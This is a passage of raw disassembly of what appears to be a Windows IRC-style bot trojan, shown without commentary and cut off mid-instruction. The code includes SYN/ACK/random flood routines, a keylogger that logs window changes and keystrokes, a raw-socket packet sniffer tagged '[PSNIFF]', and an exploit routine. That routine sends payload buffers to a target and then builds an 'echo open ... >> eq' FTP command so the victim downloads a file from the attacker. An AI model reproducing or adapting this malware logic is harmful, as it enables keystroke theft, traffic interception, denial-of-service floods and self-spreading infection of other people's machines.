aSyn ; "syn" push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_401EC2 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EC2: ; CODE XREF: sub_401BD6+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_401EE2 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EE2: ; CODE XREF: sub_401BD6+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_401F1E call sub_415543 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_415543 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_401F1E: ; CODE XREF: sub_401BD6+2EAj ; sub_401BD6+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43A3B8 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43A3B8 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_4155D0 lea eax, [ebp+var_A0] push 34h push eax call sub_40A1CA mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_4155D0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_415570 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40A1CA mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43A41C cmp eax, 0FFFFFFFFh jz short loc_40200B inc [ebp+arg_0] jmp loc_401DC5 ; --------------------------------------------------------------------------- loc_40200B: ; CODE XREF: sub_401BD6+42Bj push [ebp+var_4] call dword_43A450 call dword_43A34C push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_423344 lea eax, [ebp+var_440] push 200h push eax call sub_415A6A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402069 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_402069: ; CODE XREF: sub_401BD6+46Ej lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 loc_402089: ; CODE XREF: sub_401BD6+203j push [ebp+var_4] call dword_43A450 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4232E0 push eax call sub_4154E7 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4020FA push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_4020FA: ; CODE XREF: sub_401BD6+4FFj lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 sub_401BD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40211A proc near ; CODE XREF: sub_4021FB+B4p ; sub_4021FB+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp loc_40211D: ; DATA XREF: .nsp0:off_42F3C4o sub esp, 314h lea eax, [ebp+var_10] push esi push eax call dword_42105C lea eax, [ebp+var_114] push 104h push eax call dword_421058 lea eax, [ebp+var_114] push offset asc_423C30 ; "\\" push eax call sub_415C10 lea eax, [ebp+var_114] push offset dword_42C20C push eax call sub_415C10 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_415BE8 mov esi, eax add esp, 18h test esi, esi jnz short loc_402181 push 1 pop eax jmp short loc_4021F8 ; --------------------------------------------------------------------------- loc_402181: ; CODE XREF: sub_40211A+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_415B96 push esi call sub_415B40 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4021F6 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_423BEC push 200h push eax call sub_415A6A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_412D4C add esp, 24h loc_4021F6: ; CODE XREF: sub_40211A+A3j xor eax, eax loc_4021F8: ; CODE XREF: sub_40211A+65j pop esi leave retn sub_40211A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021FB proc near ; DATA XREF: sub_40CE55+1E1Eo var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43A340 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43A354 mov ebx, 200h loc_402256: ; CODE XREF: sub_4021FB+2C7j push 8 call dword_421060 call dword_43A340 cmp eax, [ebp+var_8] jz short loc_4022DE lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43A354 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4154E7 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_40211A mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_415570 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_415570 add esp, 0Ch loc_4022DE: ; CODE XREF: sub_4021FB+6Cj mov [ebp+arg_0], offset aB ; "b" loc_4022E5: ; CODE XREF: sub_4021FB+2BDj push 10h call dword_43A298 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43A384 test ah, 80h jz short loc_40237D push 14h call dword_43A298 test ax, ax jz short loc_40232E cmp esi, 0FFFFFFFFh jle short loc_40232E cmp edi, 40h jle short loc_40232E cmp edi, 5Bh jge short loc_40232E mov [ebp+edi*4+var_8DC], 1 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: sub_4021FB+112j ; sub_4021FB+117j ... push 14h call dword_43A298 test ax, ax jz short loc_402359 test esi, esi jge short loc_40236D cmp edi, 40h jle short loc_402359 cmp edi, 5Bh jge short loc_402359 mov [ebp+edi*4+var_8DC], 2 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_402359: ; CODE XREF: sub_4021FB+13Ej ; sub_4021FB+147j ... test esi, esi jge short loc_40236D mov [ebp+edi*4+var_8DC], 3 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40236D: ; CODE XREF: sub_4021FB+142j ; sub_4021FB+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40237D: ; CODE XREF: sub_4021FB+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_4024AD and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_4023B5 call sub_415CF0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_4024AD ; --------------------------------------------------------------------------- loc_4023B5: ; CODE XREF: sub_4021FB+1A5j call sub_415CF0 cmp eax, 1B9h pop ecx jbe short loc_4023E7 call dword_43A340 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43A354 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_402428 ; --------------------------------------------------------------------------- loc_4023E7: ; CODE XREF: sub_4021FB+1C5j cmp edi, 0Dh jnz loc_40247F lea eax, [ebp+var_2DC] push eax call sub_415CF0 test eax, eax pop ecx jz loc_4024AD call dword_43A340 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43A354 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_402428: ; CODE XREF: sub_4021FB+1EAj lea eax, [ebp+var_4DC] push eax call sub_4154E7 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_40211A mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_415570 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_415570 add esp, 0Ch jmp short loc_4024AD ; --------------------------------------------------------------------------- loc_40247F: ; CODE XREF: sub_4021FB+1EFj cmp esi, 1 jz short loc_402498 cmp esi, 3 jz short loc_402498 cmp esi, 2 jz short loc_402493 cmp esi, 4 jnz short loc_4024AD loc_402493: ; CODE XREF: sub_4021FB+291j push [ebp+arg_0] jmp short loc_40249F ; --------------------------------------------------------------------------- loc_402498: ; CODE XREF: sub_4021FB+287j ; sub_4021FB+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40249F: ; CODE XREF: sub_4021FB+29Bj lea eax, [ebp+var_2DC] push eax call sub_415C10 pop ecx pop ecx loc_4024AD: ; CODE XREF: sub_4021FB+12Ej ; sub_4021FB+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_423BB4 jl loc_4022E5 cmp [ebp+var_4], 0 jz loc_402256 push [ebp+var_D8] call sub_4152AF pop ecx push 0 call dword_421048 sub_4021FB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024DC proc near ; DATA XREF: sub_40CE55+1C67o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_415D70 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_415570 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43A3B8 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40A171 pop ecx push eax call dword_43A3F8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43A438 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_4025B1 call dword_43A34C push eax lea eax, [ebp+var_2B4] push offset dword_42462C push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402594 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_402594: ; CODE XREF: sub_4024DC+96j lea eax, [ebp+var_2B4] push eax call sub_40B16D push [ebp+var_30] call sub_4152AF pop ecx pop ecx push esi call dword_421048 loc_4025B1: ; CODE XREF: sub_4024DC+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_43F554[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43A3E4 cmp eax, 0FFFFFFFFh jnz short loc_402636 call dword_43A34C push eax lea eax, [ebp+var_2B4] push offset unk_4245E4 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402612 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_402612: ; CODE XREF: sub_4024DC+114j lea eax, [ebp+var_2B4] push eax call sub_40B16D pop ecx push edi call dword_43A450 push [ebp+var_30] call sub_4152AF pop ecx push esi call dword_421048 loc_402636: ; CODE XREF: sub_4024DC+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43A364 cmp eax, 0FFFFFFFFh jnz short loc_4026B9 call dword_43A34C push eax lea eax, [ebp+var_2B4] push offset unk_424598 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402695 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_402695: ; CODE XREF: sub_4024DC+197j lea eax, [ebp+var_2B4] push eax call sub_40B16D pop ecx push edi call dword_43A450 push [ebp+var_30] call sub_4152AF pop ecx push esi call dword_421048 loc_4026B9: ; CODE XREF: sub_4024DC+177j push ebx mov ebx, offset dword_423C90 loc_4026BF: ; CODE XREF: sub_4024DC+21Bj ; sub_4024DC+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43A3D0 cmp eax, 0FFFFFFFFh jz loc_4027D1 cmp [ebp+var_102AB], 6 jnz short loc_4026BF mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_4026BF lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_415AC0 pop ecx test eax, eax pop ecx jnz short loc_4026BF mov eax, ebx xor edi, edi test eax, eax jz short loc_4026BF mov [ebp+arg_0], ebx loc_40272D: ; CODE XREF: sub_4024DC+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_415AC0 pop ecx test eax, eax pop ecx jnz short loc_40274F inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_40272D jmp loc_4026BF ; --------------------------------------------------------------------------- loc_40274F: ; CODE XREF: sub_4024DC+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43A2F4 movzx eax, ax push eax push [ebp+var_C] call dword_43A444 push eax lea eax, [edi+edi*2] mov eax, dword_423CA4[eax*8] push off_423C80[eax*4] lea eax, [ebp+var_2B4] push offset unk_424544 push 200h push eax call sub_415A6A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_4027BF push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_4027BF: ; CODE XREF: sub_4024DC+2C1j lea eax, [ebp+var_2B4] push eax call sub_40B16D pop ecx jmp loc_4026BF ; --------------------------------------------------------------------------- loc_4027D1: ; CODE XREF: sub_4024DC+20Ej call dword_43A34C push eax push offset unk_4244FC lea eax, [ebp+var_2B4] push 200h push eax call sub_415A6A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_402817 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412D4C add esp, 14h loc_402817: ; CODE XREF: sub_4024DC+319j lea eax, [ebp+var_2B4] push eax call sub_40B16D pop ecx push [ebp+var_4] call dword_43A450 push [ebp+var_30] call sub_4152AF pop ecx push esi call dword_421048 sub_4024DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40283D proc near ; CODE XREF: sub_402988+440p var_5A4 = byte ptr -5A4h var_1A4 = byte ptr -1A4h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A4h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_14] push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call dword_4211D8 mov [ebp+var_10], eax mov ax, word_424F58 push eax call dword_4211DC push esi push 1 push 2 mov [ebp+var_12], ax call dword_4211E0 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_40295D lea eax, [ebp+var_14] push 10h push eax push edi call dword_4211E4 cmp eax, 0FFFFFFFFh jz loc_40295D push esi lea eax, [ebp+var_5A4] push 400h push eax push edi call dword_4211E8 mov esi, offset byte_42C1FC mov ebx, 190h push esi push esi push offset aDd_ ; "dd." push offset aDd ; "dd" push offset a58730 ; "58730" push offset dword_4689B4 push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"... lea eax, [ebp+var_1A4] push ebx push eax call sub_415A6A add esp, 24h lea eax, [ebp+var_1A4] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A4] push eax push edi mov edi, dword_4211EC call edi cmp eax, 0FFFFFFFFh jz short loc_40295D push 1F4h call dword_421060 push esi push offset dword_425050 lea eax, [ebp+var_1A4] push ebx push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_1A4] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call edi cmp eax, 0FFFFFFFFh jnz short loc_402961 loc_40295D: ; CODE XREF: sub_40283D+54j ; sub_40283D+6Aj ... xor al, al jmp short loc_402983 ; --------------------------------------------------------------------------- loc_402961: ; CODE XREF: sub_40283D+11Ej push 0 lea eax, [ebp+var_5A4] push 400h push eax push [ebp+var_4] call dword_4211E8 push [ebp+var_4] call dword_4211F0 mov al, 1 loc_402983: ; CODE XREF: sub_40283D+122j pop edi pop esi pop ebx leave retn sub_40283D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402988 proc near ; CODE XREF: sub_402DDD+11Bp ; sub_402DDD+13Dp var_89B0 = byte ptr -89B0h var_8948 = byte ptr -8948h var_68D8 = byte ptr -68D8h var_6868 = byte ptr -6868h var_5DA4 = byte ptr -5DA4h var_4800 = byte ptr -4800h var_47FF = byte ptr -47FFh var_376C = byte ptr -376Ch var_2CA8 = byte ptr -2CA8h var_2CA7 = byte ptr -2CA7h var_2CA4 = byte ptr -2CA4h var_2C28 = byte ptr -2C28h var_2458 = byte ptr -2458h var_1FAD = byte ptr -1FADh var_1CC0 = byte ptr -1CC0h var_14DC = byte ptr -14DCh var_14CC = byte ptr -14CCh var_11A8 = byte ptr -11A8h var_11A4 = byte ptr -11A4h var_1198 = byte ptr -1198h var_F10 = byte ptr -0F10h var_E70 = byte ptr -0E70h var_764 = dword ptr -764h var_754 = byte ptr -754h var_740 = byte ptr -740h var_100 = byte ptr -100h var_FF = byte ptr -0FFh var_B0 = byte ptr -0B0h var_AD = byte ptr -0ADh var_83 = byte ptr -83h var_81 = byte ptr -81h var_80 = byte ptr -80h var_38 = byte ptr -38h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B0h call sub_415D70 mov eax, dword_4250D0 push ebx mov [ebp+var_10], eax mov eax, dword_4250D4 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_38] push offset loc_4250C4 push eax call sub_4154E7 add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_FF] loc_4029C5: ; CODE XREF: sub_402988+4Dj mov dl, [ebp+ecx+var_38] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4029C5 push 60h lea eax, [ebp+var_B0] push offset dword_424B68 push eax call sub_4155D0 lea eax, [ebp+var_38] push eax call sub_415CF0 shl eax, 1 push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax call sub_4155D0 add esp, 1Ch lea eax, [ebp+var_38] push 9 push (offset aC+3) push eax call sub_415CF0 pop ecx lea eax, [ebp+eax*2+var_81] push eax call sub_4155D0 lea eax, [ebp+var_38] push eax call sub_415CF0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_AD] push eax call sub_4155D0 lea eax, [ebp+var_38] push eax call sub_415CF0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_83] push eax call sub_4155D0 mov ax, word_424F58 add esp, 2Ch push eax call dword_4211DC xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_424868 call sub_4155D0 add esp, 0Ch cmp [ebp+arg_C0], 0 jz loc_402B7F mov edi, 0DACh lea eax, [ebp+var_1CC0] push edi push 90h push eax call sub_415570 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea ebx, dword_424F98[eax] lea eax, [ebp+var_14DC] push ebx push eax call sub_4155D0 mov esi, offset loc_4247B8 push esi call sub_415CF0 push eax lea eax, [ebp+var_14CC] push esi push eax call sub_4155D0 push 4 lea eax, [ebp+var_11A8] push offset loc_4250BC push eax call sub_4155D0 push 4 lea eax, [ebp+var_11A4] push ebx push eax call sub_4155D0 add esp, 40h push esi call sub_415CF0 push eax lea eax, [ebp+var_1198] push esi push eax call sub_4155D0 add esp, 10h xor ecx, ecx lea eax, [ebp+var_47FF] loc_402B35: ; CODE XREF: sub_402988+1BFj mov dl, [ebp+ecx+var_1CC0] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, edi jl short loc_402B35 and [ebp+var_2CA8], 0 and [ebp+var_2CA7], 0 mov esi, 1C52h lea eax, [ebp+var_89B0] push esi push 31h push eax call sub_415570 push esi lea eax, [ebp+var_68D8] push 31h push eax call sub_415570 add esp, 18h jmp short loc_402BD6 ; --------------------------------------------------------------------------- loc_402B7F: ; CODE XREF: sub_402988+115j push 7D0h lea eax, [ebp+var_F10] push 90h push eax call sub_415570 mov esi, offset loc_4247B8 push esi call sub_415CF0 push eax lea eax, [ebp+var_E70] push esi push eax call sub_4155D0 lea eax, [ebp+var_10] push eax call sub_415CF0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_754] push eax call sub_4155D0 mov eax, dword_424F98 add esp, 2Ch mov [ebp+var_764], eax loc_402BD6: ; CODE XREF: sub_402988+1F5j push 0E29h lea eax, [ebp+var_2CA4] push 31h push eax call sub_415570 movsx eax, [ebp+var_1] add esp, 0Ch add eax, 4 mov esi, dword_4211EC push 0 push eax lea eax, [ebp+var_B0] push eax push [ebp+arg_BC] call esi cmp eax, 0FFFFFFFFh jnz short loc_402C17 loc_402C10: ; CODE XREF: sub_402988+2C0j ; sub_402988+2EBj ... xor al, al jmp loc_402DD8 ; --------------------------------------------------------------------------- loc_402C17: ; CODE XREF: sub_402988+286j mov edi, dword_4211E8 mov ebx, 640h push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi push 0 push 68h push offset dword_424BCC push [ebp+arg_BC] call esi cmp eax, 0FFFFFFFFh jz short loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi push 0 push 0A0h push offset dword_424C38 push [ebp+arg_BC] call esi cmp eax, 0FFFFFFFFh jz short loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi cmp [ebp+arg_C0], 0 jz loc_402D43 push 68h lea eax, [ebp+var_89B0] push offset dword_424DF0 push eax call sub_4155D0 lea eax, [ebp+var_4800] push 1B5Ah push eax lea eax, [ebp+var_8948] push eax call sub_4155D0 push 70h lea eax, [ebp+var_68D8] push offset dword_424E5C push eax call sub_4155D0 lea eax, [ebp+var_376C] push 0A5Eh push eax lea eax, [ebp+var_6868] push eax call sub_4155D0 push 84h lea eax, [ebp+var_5DA4] push offset dword_424ED0 push eax call sub_4155D0 add esp, 3Ch lea eax, [ebp+var_89B0] push 0 push 10FCh push eax push [ebp+arg_BC] call esi cmp eax, 0FFFFFFFFh jz loc_402C10 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi push 0 push 0FDCh lea eax, [ebp+var_68D8] jmp short loc_402D9B ; --------------------------------------------------------------------------- loc_402D43: ; CODE XREF: sub_402988+306j push 7Ch lea eax, [ebp+var_2CA4] push offset dword_424CDC push eax call sub_4155D0 lea eax, [ebp+var_F10] push 7D0h push eax lea eax, [ebp+var_2C28] push eax call sub_4155D0 push 90h lea eax, [ebp+var_2458] push offset off_424D5C push eax call sub_4155D0 add esp, 24h and [ebp+var_1FAD], 0 lea eax, [ebp+var_2CA4] push 0 push 0CF8h loc_402D9B: ; CODE XREF: sub_402988+3B9j push eax push [ebp+arg_BC] call esi cmp eax, 0FFFFFFFFh jz loc_402C10 push 12Ch call dword_421060 sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40283D add esp, 0BCh test al, al setnz al loc_402DD8: ; CODE XREF: sub_402988+28Aj pop edi pop esi pop ebx leave retn sub_402988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DDD proc near ; CODE XREF: .nsp0:00403E5Cp var_858 = byte ptr -858h var_814 = byte ptr -814h var_218 = byte ptr -218h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 858h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_18] push edi push eax mov [ebp+var_8], edi call sub_415570 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_18], 2 push eax call dword_4211D8 push [ebp+arg_A0] mov [ebp+var_14], eax call dword_4211DC push 6 push 1 push 2 mov [ebp+var_16], ax call dword_4211E0 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_4], esi jz loc_402EDA lea eax, [ebp+var_18] push 10h push eax push esi call dword_4211E4 cmp eax, 0FFFFFFFFh jz loc_402EDA mov ebx, dword_4211EC push edi push 89h push offset dword_424950 push esi call ebx cmp eax, 0FFFFFFFFh jz short loc_402EDA push edi mov edi, 640h lea eax, [ebp+var_858] push edi push eax push esi mov esi, dword_4211E8 call esi push 0 push 0A8h push offset dword_4249DC push [ebp+var_4] call ebx cmp eax, 0FFFFFFFFh jz short loc_402EDA push 0 lea eax, [ebp+var_858] push edi push eax push [ebp+var_4] call esi push 0 push 0DEh push offset dword_424A88 push [ebp+var_4] call ebx cmp eax, 0FFFFFFFFh jz short loc_402EDA mov ebx, [ebp+var_4] push 0 lea eax, [ebp+var_858] push edi push eax push ebx call esi movsx eax, [ebp+var_814] sub eax, 30h jz short loc_402EE5 dec eax jz short loc_402EE1 loc_402EDA: ; CODE XREF: sub_402DDD+57j ; sub_402DDD+6Dj ... xor eax, eax jmp loc_402F7F ; --------------------------------------------------------------------------- loc_402EE1: ; CODE XREF: sub_402DDD+FBj push 0 jmp short loc_402F09 ; --------------------------------------------------------------------------- loc_402EE5: ; CODE XREF: sub_402DDD+F8j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_402988 add esp, 0C4h test al, al jnz short loc_402F29 push 1 loc_402F09: ; CODE XREF: sub_402DDD+106j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402988 add esp, 0C4h test al, al jz short loc_402F30 loc_402F29: ; CODE XREF: sub_402DDD+128j mov [ebp+var_8], 1 loc_402F30: ; CODE XREF: sub_402DDD+14Aj push ebx call dword_4211F0 cmp [ebp+var_8], 0 jz short loc_402F7C push 0 lea eax, [ebp+var_218] push [ebp+arg_B0] push eax lea eax, 